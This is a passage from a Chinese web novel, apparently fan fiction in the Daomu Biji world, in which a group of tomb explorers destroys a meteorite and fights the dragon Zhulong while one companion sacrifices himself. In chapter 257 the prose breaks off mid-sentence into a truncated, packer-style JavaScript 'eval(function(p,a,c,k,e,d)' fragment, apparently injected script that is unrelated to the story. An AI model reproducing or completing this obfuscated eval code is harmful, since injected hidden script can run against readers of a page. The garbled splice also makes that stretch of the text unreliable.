抽噎的向阳，此时抬头看到了黑瞎子占据上半张脸，那存在感十足的墨镜，哭的可谓是更凶了，这一嗓子嚎的，让才调侃完的黑瞎子，慌得差点把不住这两小东西的屁股。 “不是，我看你们没动，我才来抱孩子的，怎么你们现在就干站着看，一点忙不帮啊！”黑瞎子怨怼的，将两兄弟随意放进了绝不会拒绝人的哑巴手里。 小哥面无表情的接住，随后，向阳刚开始收住了哭腔，但发现这个大哥哥冷着张脸，半晌就又嗷起来了。 吴峫无奈的叹了口气，冲小哥伸出了手，示意自己要抱，接到的时候，还无语的斜了一眼黑瞎子，“来来来，小哥，你给我吧，要我说，黑眼镜你也真有病，给谁不好，给小哥，怎么小哥看起来就那么像奶孩子的吗？” “我给哑巴咋了，人家乐意着呢，而且徒儿，你说的好像你能奶似的。”黑瞎子上下扫荡着吴峫，“咦，不对啊，我从前怎么没看出来，你还有这功能呢？刚激发的母性关环？” “不是，你把我家小天真想哪去了！”胖子呛完黑瞎子，然后不容置疑的，从明显生疏的吴峫手里托过了那两个娃，“哎呦，亲人的嘞，小乖乖们，认不认得你胖爷爷？” 被搂在一个臂弯的朝旭，小大人般的绷着张脸，而对面的向阳如今抹干了眼泪，笑眼弯弯的看着明显讨小孩喜欢的胖子，乐的牙都呲出来了。 “哟哟哟，认得我呢，真可爱，你们怎么这么聪明呀。”胖子稀罕的不得了，但还是忍住没亲下去，生怕自己给孩子整生病了。 解雨臣笑着看胖子那一脸孩子奴的样，“玩归玩，闹归闹，胖子，你待会儿可得把孩子还回去。” “晓得嘞，晓得嘞，再亲也不能带着离开这里，你说对不对呀？”胖子说完，便看到向阳张着手想要摸自己的脸，他干脆低了点头。 可谁知道，另一边的朝旭直接打了自己一巴掌，不疼，有些痒。 小朝旭挥舞着手，自以为很有威慑力的鼓着腮帮，怒气冲冲，“不许碰我家阳阳！” 胖子笑着哄了两句，才把两个小孩放走。 可小朝旭气不过，离开之前还踢了试图和向阳亲近的胖子一脚，又给了吓到向阳的张祈灵两脚，随后，面对奇怪大叔的黑瞎子，他更是来了降龙十八脚，差点没给黑瞎子的脚趾头踩成碳色。 等做完这些，他才跺起步子，牵着向阳回去了，黑瞎子和小孩子没得计较，只能瞪了瞪朝旭的背影，骂了句小兔崽子。 而大家的注意力，则在朝旭和向阳走远后，才彻底回归。 衍卜寸抬了抬下巴，总结着刚才向阳的异常行为，“估计是这一次向阳没死，引不来朝旭许愿，所以烛龙才把向阳引过来，到时候用别的方式，逼迫朝旭不得不许愿换向阳活着，但被我们打扰了，这才没实现。” “现在怎么办？要毁门吗，我包里没雷管了，炸不开的。”胖子摊了摊手。 张祈灵和小哥摇头，同时道，“出去。” 随后，黑瞎子向看不到意象的吴峫等人，解释了一遍张祈灵还有小哥的意思。 “这俩木头说的是，我们出去以后，这门自己就会消失，这是我从鄢啸南那边总结出来的，只要阻止了一个人许愿的因，这扇门就会像是失去力量一样，啪！碎成旺旺碎冰冰！” 第256章 球体 “这描述挺好玩啊！”胖子说完，便推了一把黑瞎子，“不过，吗既然这么说了，那就别磨蹭了。” 张祈灵点头算作应和胖子，然后便拔回了自己的软刃，而黑瞎子也被胖子推出了门，随后大家紧跟其后。 身后的时间空间骤然裂开，张祈灵偏头，透过那些碎片去瞧，几个呼吸间，便看完了朝旭和向阳的一辈子，是赶考之路，状元成名，居高堂却偏安一隅，相爱着不惧世俗，过的格外幸福又满足。 张祈灵看完后，便转过了身，可突然，他的眼睛略微有些刺痛，就在他想要揉的那一刻，却感到身旁的人，将自己的手给压了下去。 “我们来到阵眼了，这里的能量波动比较大，大家先闭上眼，待在原地不要动，适应一会儿后再睁眼。”衍卜寸这么说着，便掏出鬼玺放到了张祈灵的手里。 张祈灵心里的不安加剧，他想要去抓住对方，却只让指尖匆匆擦过一片衣角，直觉带来的危险感，让他即刻唤出了对方的名字，“衍卜寸。” “乖，你歇着，护好出门的鬼玺就行，不要擅自行动。”衍卜寸轻拍着张祈灵的手，安抚着他。 短暂两秒的等待，张祈灵却并没有听从命令，他很快便睁开了眼，而现在，他终于明白了衍卜寸所说的闭眼究竟是什么意思了。 因为在众人面前排开的，是数以万计的骸骨，陨石落在中间，被簇拥的格外高耸，而它庞大的体积也彰显了人类的渺小。 并且，这阵眼的能量波动剧烈，导致这颗陨石的外表下，似乎有虫子一样，正不断的鼓起一层层令人不安的脓包。 像是巨大的心脏，在不断的跳动。 “你早说，这是让我们做心理准备啊……”胖子看着这宛如肉球一样的陨石，察觉到里头肌理的颤抖，只觉得喉咙里翻涌上了一阵恶心。 胖子忍住没吐，赶紧将头偏离开，感觉以往杀鸡剁肉都没有这种恶心的时刻，因为面前的这个阵眼，那简直就像是一个被虫子严重寄生的肉瘤。 而他后面的吴峫，也快速捂住了下半张脸，所以，吴峫的疑问是从指间的缝隙中挤出来的，“衍卜寸这东西只是能量体，并没有生命对吗？” 如果这种变态生物是活着的东西，那真是太可怕了，毕竟，它光是外表就能吓死很多人了。 而张祈灵抬头，甚至能看到那枚陨石，从肉缝中，脓包里爆破出来的粘液，虽然没有任何异味，但是却不断的往下流淌，浸润了那些骸骨，然后成为了一层暗色的膜。 “对，我们可以把这个陨石理解为是烛龙的蛋壳，在它接收到人类交易带来的能量以后，它其实就不需要蛋壳提供给它营养了，但是保险起见，他会把这个陨石当做维持整个门内空间的能量体，作为自己的最后保障，所以我们只要打它，而烛龙为了保护它，也会来到这里。” 衍卜寸边科普，边晃了晃手中的小黑团，然后眼含温柔的笑意看着它。 “这一路，多谢你了。。” 他话语里头的真挚，让小黑团受有些宠若惊，可还没等它点头称是，衍卜寸就将红线勒紧了，而突如其来的彻底绞杀。 小黑团从刚开始的雾化状态，瞬间变成了一块小小的陨石碎片，它毫无生机的躺在了衍卜寸的掌心里，随后又灰飞烟灭。 “衍卜寸，我发现你做任何事，都做的挺绝啊，而且恶趣味的很，给了人家希望，又给人家杀了。”黑瞎子边调侃衍卜寸的雷厉风行，边用手比划着自己的脖子，然后眯着眼吐舌头，做着被杀死的狗带样子。 但衍卜寸虽自谦，却不会拒绝黑瞎子带着看趣意味的夸奖，他一本正经的说道，“这东西杀了那么多人，白白放走它，就等于是把粽子挪到了地面上，到时候殃及的是更多的人。” 说完，衍卜寸便偷偷用余光，去看张祈灵对自己这一番正义之言的反应。 但在他们身侧的张祈灵，只是低头攥紧了怀里的鬼玺，而鬼玺上面沾染的是衍卜寸和他自己的血，此刻正不断的散发着漂亮的辉光。 能量的波动，在鲜血混合以后，有些不太对劲，张祈灵想不出来，只能尽可能在脑子里搜索这种情况。 而旁边的解雨臣，则把敏锐的视线，在张祈灵和衍卜寸的身上扫了一遍，随即才开口问到正点上，“我们清楚这个道理，但面前的这东西该怎么杀？” 话落，吴峫也顺着解雨臣的思路去想，然后毫不犹豫地举了举自己手里的刀，朝衍卜寸的方向咔把眼，似乎并不觉得这样的冷兵器，能够在那样的庞然大物身上派到用场。 “是啊，而且我这里已经没有雷管了。”胖子也接着茬，最有爆发力的武器已经没用了，论体力，胖子也没那个信心能够像挖矿一样，把那个巨物陨石凿穿。 衍卜寸没有着急回复，只是将手上勒断的红线，全部扒拉下去，随即与怪怪的触手碰了拳，待融合到一起以后，他才眼含暗芒的开口： “这东西实际上比我们想象的要脆弱，既然是蛋壳，也不过就是厚实了一点，我们最主要的目的，是能够引动烛龙自己来这里，只要把烛龙杀了，也是一样的能让门里的世界崩塌。” 小哥点头，然后推了把霍道夫和清如，让他们护着张祈灵后，才向其他人道，“行动。” 他这么说完，却没有向衍卜寸那边移动，而是守在了张祈灵这边，防止对方出意外。 “也是轮到哑巴发号施令了啊。”黑瞎子笑着，将自己的鞋系紧后，朝地上磕了磕确认不会掉下来，才直接一飞冲天跑了出去。 感受到一阵风过去的解雨臣，将自己被弄乱的头发理了一下，随即也冲吴峫和胖子点了点头，“小心些。” 衍卜寸紧跟在黑瞎子的旁边，红线与融合后的异体化触手，几乎是将他的腰间一顶，他整个人就到了陨石的上方。 而底下还未上去的黑瞎子身形顿住，冲解雨臣招了招手，“花儿爷，踩我上去。” 解雨臣并未多言，直接按住黑瞎子的肩膀，借力翻身后，又踏着黑瞎子的手掌到达了上方，随后便用备用登山绳定好点，和衍卜寸协力把剩余的人都拉了上去。 随后，衍卜寸就将红线缠在了彼此的腰上，确认着每一个人的安全后，才动了手。 而解雨臣则开枪，用完了自己最后的子弹，如衍卜寸所说的那样，这个陨石不过是外表看起来可怕，但其实一击就碎。 且令人没想到的是，它的外壳褪去以后，里头意外的是类似于橘子剥开膜般的果肉，还会发出耀眼的光芒，但每层肌理都是一跳一跳的，让人看起来并不舒服。 胖子和吴峫的刀，则趁此机会凿了下去，也就是一瞬间，那喷涌而出的液体，差点就冲到了他们的嘴里，两人急忙往后倒躲避，而后背立刻就被衍卜寸的红线，和黑瞎子的臂弯给接了个正着。 此时，被大家探入中心层的陨石，开始不断的动荡，直到，张祈灵看见怀中的鬼玺，亮出了刺眼的光芒，便感觉到有什么东西来了。 下一刻，他与小哥敏锐的同时偏头，朝一个方向看去。 无尽深处的迷雾正逐渐散开，浑圆的球体突兀的滚了出来，那附着于其外表的血丝根根爆裂，并于它的身后，拖出了一尾极长的艳色。 而那个奇怪的球体，接着就开始震颤，随即，竟在张祈灵和众人齐聚的颤动目光中，发出了令人恐惧的龙鸣。 第257章 它是故意的 见此，衍卜寸和黑瞎子等人，更是加快了砍伐陨石阵眼的速度，更是为了挑衅烛龙，让它的注意力从张祈灵身上移开。 果然是意料之中，烛龙听到了他们都动静，立马拖动自己的身体，试图去阻止。 于是，目视着它移动的张祈灵，正惊愕的看着那个球体里，迸发出了几乎像是泄洪水闸一样的鲜血淋漓，剧烈的强刺激性的腥气，快速侵占了整个空间，而它的形体也在产生变化。 几乎是在一瞬间里，它突破了浑圆的外表，从中长出了爪子和龙角，并且形成出一张足以吞并一切的巨嘴，只不过，看起来它和人类所交易的力量尚浅，竟只能出来一个头，连同爪子都是逼仄在那个龙头的下方的，竟无端更像是一辆商场里推动的购物小车。 不过它的速度，却是快到惊人的，果然是游龙，几乎是在不到两分钟的时间里，就扒上了陨石。 吴峫和胖子用着狠劲，一杵子打了下去，几乎是把洛阳铲以及长刀捅进它的喉咙里。 可烛龙也不是吃素的，它用根本不能以常规估算的咬合力，直接将吴峫和胖子的武器变成了渣滓，随后，便想要继续往上爬。 “**！衍卜寸你动手啊，等什么呢？”黑瞎子也挥舞着自己的武器，并拿自己的一只脚踩在了烛龙的鼻子上，试图直接钉穿它的头颅。 烛龙不解的将头一甩，便化解了危机，可力道大的，却让黑瞎子整个人和刀都快飞出去了，幸亏解雨臣拉了一把。 连忙搭把手的胖子，灵光一现，赶紧说道，“卜寸小同志，你那个红线咱虽然看不到，但能摸到对吧，给它把嘴缠上，反正它就这一个头！” 衍卜寸听到，并没有着急施行胖子的计划，而是将手里的红线和异变的触手，向内深入了陨石三分，然后他将缠在众人身上的红线勒紧，随即，在吴峫来不及询问的目光中，一种强大的**几乎将所有人都顶飞了。 在底下看着他们动作的张祈灵，直接紧张的站起身。 可看到衍卜寸在半空中，将所有人吊起来的时候，才松了口气，又忍住内心砰跳的坐了回去。 “衍卜寸，你下次能不能早点说……”吴峫捂着自己几乎被**冲到嗡鸣的头，“我脑袋要炸了。” 黑瞎子也甩了甩自己身上沾着的灰烬，邪笑着，又带有几分愠怒，冲衍卜寸不善开口，“我知道你最喜欢打一种出其不意的计划，但我以后，肯定听我徒儿的！衍卜寸，你这太冒险了，晚一步我们都得炸成碎片。” “我嘞个乖乖，我头一次觉得黑瞎子说的这么有道理……”胖子说着，便吐了个稀里哗啦，一旁的解雨臣连忙给他顺着背。 衍卜寸并没有急于去解释，他的目光一直游移在底下被**波及，而正在抽动的烛龙身上，随后，才开口道，“它和那么多人类做过交易，所以，它的语言水平很高，能够听懂人话，所以刚才胖子说的，让我们协力缠住它的计划行不通，如果不瞒住你们，它也未必会相信。” 话落，衍卜寸就将大家妥善的放了回去，而就是众人视线变得持平后，吴峫才发现，作为大家生命保障绳的衍卜寸，竟将他的半个身子都炸焦了。 “衍卜寸你没事吧？”吴峫来不及触碰衍卜寸，就见他摇了摇头。 张祈灵想去看看他们的情况，却被小哥按住，而小哥垂落在自己身上的目光，竟带有一丝紧张。 然后，张祈灵便听小哥道，“塌。” 那边的衍卜寸也同样，将自己身上的触手抽动了两下，也这么说道，但声音几乎是压到了微不可闻的地步，连黑瞎子也只能看到他嗫嚅的口型。 “真要破坏以后，这里支撑不了多久，现在杀了它，我们还有时间出去，一旦它发狂，把门堵死，选择和我们同归于尽，那就完了。” 等衍卜寸说完后，吴峫偏头确认了一下张祈灵的安全后，才点头同意。 而只一刹那间，从陨石碎片里，好不容易翻腾出来的烛龙，已经进行了第二次进化，它长出了如西方龙那样的翅膀，但却并不是属于它自己本身的，张祈灵从远处看着，估量那也是与什么生物交易得来的产物。 它的身体也变得更长了，起码从原本的头颅，变成了类似于蛇一样的蜿蜒绵亘。 “真是有意思。”黑瞎子舔了舔唇，然后立马一个箭步冲了出去。 他的刀砍伐在烛龙新生的翅膀上，羽毛不断的飘飞，更显得烛龙孱弱，衍卜寸也立刻上前，红线勒紧了它的身躯，几乎是以桎梏的姿态，将它锁在了地上。 吴峫和胖子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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刀尖带着炽热的火焰，生生插在了烛龙的眼球上，痛的它张嘴就想要咬什么，可衍卜寸却趁此机会束缚住了它的嘴，连同绵软的触手，也变得坚硬，像是蟹钳一样，合拢着它狰狞的大口。 “这也太难杀了。”黑瞎子踩在烛龙的七寸处，忍住张祈灵和小哥的麒麟火的热度，眼瞧着自己的皮裤都快化了，也没有下去的打算。 黑瞎子不断的凿着，但烛龙的骨骼和鳞片却变得越发难打，仿佛是软化的钢铁，正在经由火焰的淬炼，变得更加的坚硬。 “停下，祈，哑巴你们停下！”黑瞎子在意识到这一点后，立马喊了出来，“它有智商，它在用你们的火焰炼它自己！它是故意的！！！” 第258章 二月二十一日 张祈灵和小哥听了黑瞎子的话，骤然拔出了刀，可张祈灵却感觉自己的腰间缠上了什么软滑的东西。 他低头一看，才发现那是烛龙的舌头卷上来了。 而此时，烛龙大张开嘴，因为不断的扭动试图甩开黑瞎子，导致它的骨骼之间不断的摩擦，并像蛇般，拓宽了自己前部的体型，似要将张祈灵整个人都吞下去。 张祈灵和小哥将刀的火焰挥灭，随后又忍耐着烛龙强大的力量，毫不犹豫的砍了下去。 衍卜寸见此，立即和吴峫还有胖子，以及解雨臣，连忙拉扯着张祈灵，防止他进入烛龙的嘴里。 “这东西发疯了，竟然**！”胖子不断的扯着张祈灵的外套，试图将人像拔萝卜一样的远离中心地带。 可烛龙的力气很大，张祈灵几刀下去，便因为身体的状况不好，很快就蔓延上来疲惫感，而他表皮的所有患处如今都在皲裂，还在不停啪嗒的砸在地上，而且，内部晕开的淤血，也让人觉得全身上下都在疼。 不过，张祈灵还是在这样的剧痛环境下，冷静的分析起来，他其实并不认为这家伙是要吃自己，而这短暂两秒的思考，让张祈灵眸光一亮，因为他快速的想到了身上，那唯一可能吸引烛龙的东西。 那就是衍卜寸给的鬼玺！ 要不然烛龙现在的行为根本没法解释。 而在烛龙上方，还没有被甩下去的黑瞎子，似乎也从正面和张祈灵的片刻对视中，瞬间明白了张祈灵所担忧的事物。 “这东西不想让我们离开，所以要吃鬼玺是吗？”黑瞎子没有发出声音，只是动着口型，冲张祈灵这么说着。 张祈灵点了点头，同黑瞎子确认着情况，而黑瞎子也冲后方的人比了个抛掷的手势。 随后，张祈灵将软刃挽回到了身侧，另一只手以迅雷不及掩耳之速，立即将鬼玺拿了出来，并在烛龙期待的闪烁目光中，直接毫不犹豫的朝后抛去。 吴峫和胖子来不及反应，也没有那个时间，毕竟烛龙的舌头还缠在张祈灵的腰上，他们需要保证的是张祈灵的安全。 而在最后方，抬头看见一抹辉光的衍卜寸，立即抽出自己的触手接住，果然，烛龙的束缚抽离，缓和下来腹部压力的张祈灵，捂了捂自己的肚子，上面遍布的是除了伤口之外的勒痕。 小哥和吴峫胖子，立即扶住了张祈灵，并在一刹那间，直接给烛龙腾路。 而烛龙也不负众望的，很快便转移了注意力，，随即，冲向了携着的鬼玺的衍卜寸，速度快到令人瞠目结舌。 “排球玩过吗？”衍卜寸并没有慌张，只是冲众人做着嘴型，然后做出了手腕颠球的动作。 黑瞎子玩味的笑着，他伏在烛龙的头上，也算是朝着衍卜寸靠近，“太硌手了，你不是有好多条触手吗，自己玩排球吧。” “别排不排球的了，这叫接力赛。”胖子赶紧将重伤的张祈灵安置在外围，然后继续就说道，“合作，晓不晓得？” 衍卜寸利用好几根触手，不停的往后跑，但就在烛龙即将接触到的一瞬间，衍卜寸却将鬼玺以一个极其漂亮的弧线丢了出去。 烛龙想要咬，可刚抬头张开嘴，就被黑瞎子的刀狠狠的按了下去，而且黑瞎子这个人，一旦打起来就是拼命的玩，他的刀尖使劲钻着烛龙鳞片下的肌肉，鲜血不断的往下淌，痛的烛龙一时之间，完全找不到鬼玺所坠落的方向。 等他反应过来扭头去看的时候，鬼玺就已经跃进了小哥的怀里，而小哥的动作也丝毫没有停顿，直接踏着那些骨堆和陨石炸了以后的碎片，便跑了上去。 张祈灵虽然被迫退出了战场，但是此时此刻他能感受到烛龙的气恼，因为烛龙忍着疼痛，正拼命的朝着小哥的方向爬，但路段崎岖，导致在其上方的黑瞎子，被颠的像在面包车里驰骋。 而后面追击的吴峫和胖子还有解雨臣，也展现了同样的动作，直接抱住了烛龙的后半身，免费搭了一个顺风车。 不过实在震动的太厉害了，才缓过没多久的胖子，险些又要吐了出来，还是吴峫立即将胖子的嘴捂住，才没有见到那些哗啦啦的马赛克。 “消耗它的体力，不是明智的办法，我们这样也是在消耗自己的体力。”吴峫感受着从耳边额头簌簌掠过的风，掩了掩自己的下半张脸，才勉强从这样高速的移动中发出声音。 解雨臣点头，反问起来，“追击战并不合理，想要杀掉它，还是要能控制住它，这里的地形可以利用吗？” “能。”在最前头的黑瞎子回道，随后他倩倩的转了半个身子，朝着拼命挥舞起触手，给烛龙做了一个又一个障碍物的衍卜寸笑着，“因为那家伙已经在建堡垒了。” “什么包？汉堡包？”胖子只感觉自己的中枢神经，实在没有其他人那么的好，或者是平衡力不行，导致他如今头脑昏花的厉害，更别提能够听清大家的对话了。 吴峫听了，真是想笑，又怕灌一嘴的风，直到他把脸埋得更深，才敢说话，“胖子，就你这状态，别吃汉堡包了，我怕你把隔夜的菜都吐出来。” “啥，膈应什么？”胖子偏过头，看着眉头皱成一团的吴峫，显然不知道对方在无语什么。 与此同时，在他们前方的小哥躲避时间也差不多到了，于是，他将鬼玺朝着衍卜寸那方扔了出去，瞬间接到的衍卜寸，则又开始重新的奔跑。 而且，衍卜寸是和黑瞎子讲的一样，他是带有策略的，在奔逸的过程中，他那些突破身体外壳的触手，已然将那些黏腻在一起的骨堆，都拆解开来了，并促成了如迷宫一样特质的墙面。 导致烛龙闪避不及，不断的往上撞。 不过，衍卜寸在脑子里想的可不是真的去打持久战，他抱着鬼玺跑的过程中，已经知晓了杀死烛龙并不是一件容易的事。 如果想要打开门，必须有人牵制住烛龙，但其他人都是肉体凡胎，衍卜寸其实并不想要兄弟们留在这里，去解决这样一个**烦。 如果说，这里的因果需要解，衍卜寸已经协同大家解决了鄢啸南和鄢然，朝旭和向阳…… 他匆匆瞥了一眼，发现清如也消失了，如果这世间的因果必须解决，那最后的最后，也就是自己。 毕竟，衍卜寸知道，自己是突然出现的，并在门外被**收养了一段时间，但衍卜寸清楚，自己绝不可能是人类生出来的，而现在，能够困住烛龙的唯一方法，就是找到自己的因，到底是什么样的夙愿，究竟是谁创造出了自己？ 所以，从一开始，衍卜寸就知道，在这场由庞大交易欲望促成的世界里，自己才是能够解决一切源头的秘密武器。 他是活该被留下的那个。 随即，衍卜寸便将鬼玺丢向了张祈灵，并将前面没有使出全力的触手，全部缠在了烛龙的身上，然后又用红线剥离开了所有的人。 张祈灵才站起来抱住鬼玺，就感到一种强大的推力，将自己冲向了一个位置，他的手腕不可控的高高举起。 直到，突然他将鬼玺按上了尽头处的青铜门凹槽内。 青绿色的铜门，此时卸掉了外表的所有颜色，露出了其内部的火红，所有复杂的繁文，都在这一刻亮起。 紧接着，张祈灵 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张祈灵不由的感觉一咯噔，但是，他这个角度，只能看到面前的那扇门越来越耀眼，并在自己的瞳眸中，快速扩大到无穷尽般的模样，甚至，它还在突兀的大敞开来。 而外部的光亮，正卷携着强大的吸力，这让他在被迫出门的前一秒，突然产生了刹那的顿神和强烈的耳鸣。 可他却似乎，仍然能够清晰的听到，那来自遥远之处传来的声音。 “阿祈，兄弟们，再见了。” 这是衍卜寸在告别。 在张祈灵看不到的身后，衍卜寸的触手正抱着必死的决心，拼命的缠住烛龙，而烛龙三次进化的刺骨鳞片，早已将他扎得遍体鳞伤，鲜血不断的在他们彼此翻身之际，快速的淌过那些堆砌的骨头。 等到彻底出来以后，张祈灵却感觉身上一空，**自己丢了什么，而其他人也丢失了门内记忆。 几双眼睛互相对视，也自然不清楚现在的情况，现在的他们并不知道，消失的事物是张祈灵搭了一路的外套和那件外套的主人。 而张祈灵现在，只能迷茫的看着被破坏的泥泞土地，乌鸦成群结队的尸体，还有鄢家旧址的残垣断壁。 此刻，茂密的树林，像是失去了所有的生机，那些曾经，差点将鄢啸南四分五裂的变大化怪物，也重新恢复了平静，成为了没有丝毫生命体征的家伙。 张祈灵垂着头，感受着身体原本游走的疼痛，正在莫名一寸寸的全部消失，他的手不由自主的碰上了自己的心口。 那里烙刻下的， 是鬼玺上残留着的， 属于一个人鲜血滚烫的热。 真是奇怪…… 张祈灵不知道，自己究竟是丢了什么重要的东西，但他却突兀的感觉脸颊蓦然湿润，于是，他移开附在胸膛处的手，触碰着那自以为是疲惫带来的汗渍。 可一次抹，次次擦，却根本堵不住那源源不断流淌出的奇怪液体。 今天是二月二十一日， 这是张祈灵在门外，第一次真正意义上学会了哭泣，并在朦胧之间，懂得了这份泪代表着的是难过。 “祈灵，是发生什么了吗？”吴峫来不及环看周围，丢失了门内记忆的他，只是赶紧用解雨臣递来的，还没有清空的帕子，给张祈灵细细的擦着眼泪。 而黑瞎子，则看着地面上那些散落的红线，却找不到这家伙的源头，他疑惑地叉着腰，踩着已经完好无损的皮靴，蹙起眉头，问道，“发生什么了不知道，但衍卜寸哪去了，还有那个老头？两人结对跑了不可能吧，啧，说好组织来这里，怎么两个家伙，一到这里就丢了。” 第259章 怪物和怪物 解雨臣看了看周围的环境，“我们来的时候这里不是这样的吧？” 才哄好张祈灵情绪的吴峫立刻抬起了头，一个大胆的想法在他的脑海里萌生，促使他赶紧开了口。 “我们会不会是进门了？当初衍卜寸在雨村的时候，就跟我们讲过这种原理，如果是外人，出门以后就会丢失在门内的记忆。”吴峫说着，便脱下外套罩在了张祈灵的身上。 胖子也立即反应过来，“难怪我们不记得呢！那他们现在消失，是不是代表卜寸小同志，跟那个一只眼睛唰唰冒光的老头还在那门里头？！” “可能性很大。”霍道夫点头，此时没有了记忆的他，保持了一贯的冷静，并跟上大家的思路，继续问道，“那你们进去吗？我看这上面好像有个建筑物。” “进啊，肯定进啊！”胖子吆喝着，随即便跑到了那些还在摇晃的登山绳处。 可意外发生了，山体连带着地面竟发出强烈的震动，而且，并不像板块运动的那样，就像是脚底下还有另一种生物，或者是别样的能量，正在令整片森林地动山摇。 张祈灵将缓和过来的泪眼抬起，在怀揣着不知名伤心的同时，却猛然看到了新的异象。 山体后升起的红铜烛龙，正缓慢的张开它的大嘴，来自庞大生物的咆哮声，让张祈灵和众人都耳鸣了起来，而小哥捂住一只耳朵，一马当先挡在了众人的身前，他也在看着那个巨物，甚至视线都不曾有片刻的挪移。 可这里的震颤却越来越明显，完全没有停下来的迹象，吴峫咬着下唇，给自己了一把狠劲，随即在小哥和黑瞎子的掩护下，拉扯着众人立刻将登山绳的锁扣挂在腰上。 但还未来得及爬，张祈灵便出了刀，动作迅速的，让吴峫只来得及看见一抹寒光。 因为现在环境的不稳定性，导致那些石头以及山腰上的树木，都在不停的往下落，而刚才只要吴峫坚持冒了头，那后果将是不堪设想。 “加快速度！一定要赶在这里坍塌之前上去！”黑瞎子说这话的时候，犹如一只灵活的壁虎，他飞窜上去，快得惊人。 也许是长久以来的惺惺相惜，也许仅仅是对兄弟的关切。 反正一直以金钱为重的黑瞎子，对衍卜寸的情谊，以及保护张祈灵，还有其他人的共同目标是一致的，他在心底里估算着这些年来的钱，和这次的行动消耗的人力物力…… 随即，黑瞎子便朝着被张祈灵推上来的吴峫伸出了手，又将每一个人拉扯住，用力到青筋爆起。 “**，这家伙一个人去打，把我们放在哪里！我尾款还没到呢！”黑瞎子骂的很凶，但不妨碍他和其他人将末尾的胖子也拽上来。 等大家都上了以后，皆义无反顾的往前冲，可空间的机关，哪怕都被他们开过了一遍，却还是抵不住坍塌的速度。 在奔跑的同时，张祈灵能察觉到，身边所有能见的事物都开始变化，墙体所覆盖的青铜漆，连同砖块，皆在飞溅，而自己和其他人顾不得偶尔落在身上的细密的疼。 现下，其实大家并不清楚门后究竟是什么，但衍卜寸选择独自去面对，那就证明了完成这件事的难度系数很高，并且高到衍卜寸甚至选择了独自去承担，生怕拖累大家。 而处于门里的衍卜寸，正在不断的对烛龙进行着绞杀，哪怕相互纠缠的代价是自己也遍体鳞伤，他也依然没有停下。 触手迅速的覆盖着烛龙的每一片龙鳞，灼热的温度刺烫着软体生物的肌理，衍卜寸感觉自己与烛龙所接触的每一个面，都在反复经历被融化掉以及重塑的过程，就像被摊在了烤架上，反复的蹂躏。 “你想结束一切？我告诉你，不可能！！！”烛龙吼完后，便改变策略，用自己三次进化所撑开的利爪，立马按住了衍卜寸欢腾的触手。 衍卜寸也不甘示弱，没有了何罗鱼那样变态的攻击方式，他还有红线，哪怕他至今也不知道这究竟是何原理。 红线不断的刺穿烛龙鳞片下的皮肤，探入其五脏六腑，将一切搅得混乱，鲜血不断的流淌，衍卜寸甚至在此刻都分不清是自己的，还是烛龙的。 因为他眼前被那些液体砸的猩红，但仰起头来，还是能够看到整个空间已经开始支撑不住，甚至顶上接近无限的视野，都变成了不规则的碎片。 一切的能量**不到一块，散落成了大片铺撒的沙砾，零星的碎末，像天空上悬挂的星星般，在陨落下来的时候，还在不停的闪烁。 “你没有办法不是吗？”衍卜寸用红线缠紧它的龙头，“如果你有阻止这一切的方法，你早就用了，被我发现真相很痛苦吧……” “什么真相？！”烛龙不停的挣扎，用自己的嘴咬着那些红线，直至扭成了一个极端的角度，才抻断其十几根。 可很快，更多的又缚了上来。 衍卜寸病态的笑着，几乎像疯了一样，用着伤敌一千自损八百的方法，将烛龙的身躯，往自己几乎异化的看不出人样的怀里按，“你靠人类的交易，啊……说错了，按照你的话，应该是靠着信仰达到某种意义上的守恒，但如今这些信仰崩塌，你这个再来生物又能活多久呢？” “这些你究竟是怎么知道的！”烛龙不再对那些根本无法对抗的红线攻击，而是直接用嘴咬住了衍卜寸左侧的半边身子。 衍卜寸并未有吃痛的神色，只是在赤红一片的扭打中，他的眸子发出了更加诡异的亮光，“你的眼睛，是跟鄢啸南换的……” 这么说着，衍卜寸又用 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烛龙怒火中烧，脑袋轰隆隆的，现在只想掐死衍卜寸，却在气头上越咬越乱，可衍卜寸从始至终，都没能露出任何一种痛苦的神色。 “衍光善没有给我任何的提示，他对你的了解，还不如他哥……”衍卜寸哪怕面对着它的撕咬，也仍然冷静。 而他的手，则在下一刻直接从烛龙的嘴里掏了过去，红线自他的血管开始逆行，并刺破了表面的所有皮肤，几乎是以自毁一般的方式，将烛龙的上牙膛刺穿，直通到了颅顶。 现在衍卜寸的动作很是粗鲁，但嘴里的话却仍是斯文，甚至如果不细听内容，还以为只是在简单阐述一个普通到极致平庸的故事。 不过，衍卜寸能够保持这样的态度，完全是因为他经由衍光善千年熏陶，才铸成了如今的笑面虎样。 而此刻，他抛弃掉了所有的痛楚，咽下没必要的呻吟，只贯彻到尾，专注的看着烛龙，并说着自己和它，都要死明白的话： “我能够来到你面前，是因为你创造了我。 别人的因都是他们自己，但你的因却是我，我和物质化的那些家伙不一样，你很聪明，会给自己留条后路。 可你不清楚吗？路一道活了，就会是巨**，你在条主动蜿蜒前行的道路上，又怎么可能爬的平整？ 而现在，我这条退路，想要了却我们之间的因果，你没得选，因为我会用这个，被你创造出来的身体和能够勘破一切的眼睛，亲眼去见证你过去的荒唐。 怪物和怪物，就是要一起死的。” 随着衍卜寸的尾音落定，一扇门快速于他们的身下敞开，像只毫不留情的大嘴，将世界吞没，而这里的空间，彻底崩塌。 第260章 此消彼长 那种不安的感觉，又席卷了上来，不过，张祈灵的身体本能还是占据在了恐惧之前，空间的不断颤动，使得背后之路尽数坍塌。 所有的退路和机会，只在前方。 哪怕张祈灵现在，都不甚清楚那扇铜门究竟在何处，他只能凭借着对环境细致入微的观察，来判断他们曾经走过这条路，不过其中的弯弯绕绕很多，脑子和步伐都跟上来了，也抵不住来自于未知生物的咆哮。 张祈灵感觉自己的耳蜗都开始充血，连同吴峫等人的步伐，也在这样的嗡鸣声中，变得格外的紊乱。 “这么走下去没办法！”黑瞎子嚎了一嗓子。 吴峫和胖子大眼瞪小眼后，便看着黑瞎子那气急的模样，指了指了自己的耳朵示意听不见。 事态紧急，黑瞎子来不及解释更多，反正目前大家也听不见，小哥和张祈灵则瞬间懂了黑瞎子的意思，手上用力一扒，就将胖子的背包给卸了下来。 旁侧的解雨臣看出了他们的想法，张口劝阻这样会引起更加严重的坍塌后，却完全听不到自己嘴里飘出的音节。 而三人协力，将雷管安装在地面上，准备直接像地鼠一样垂直打下去。 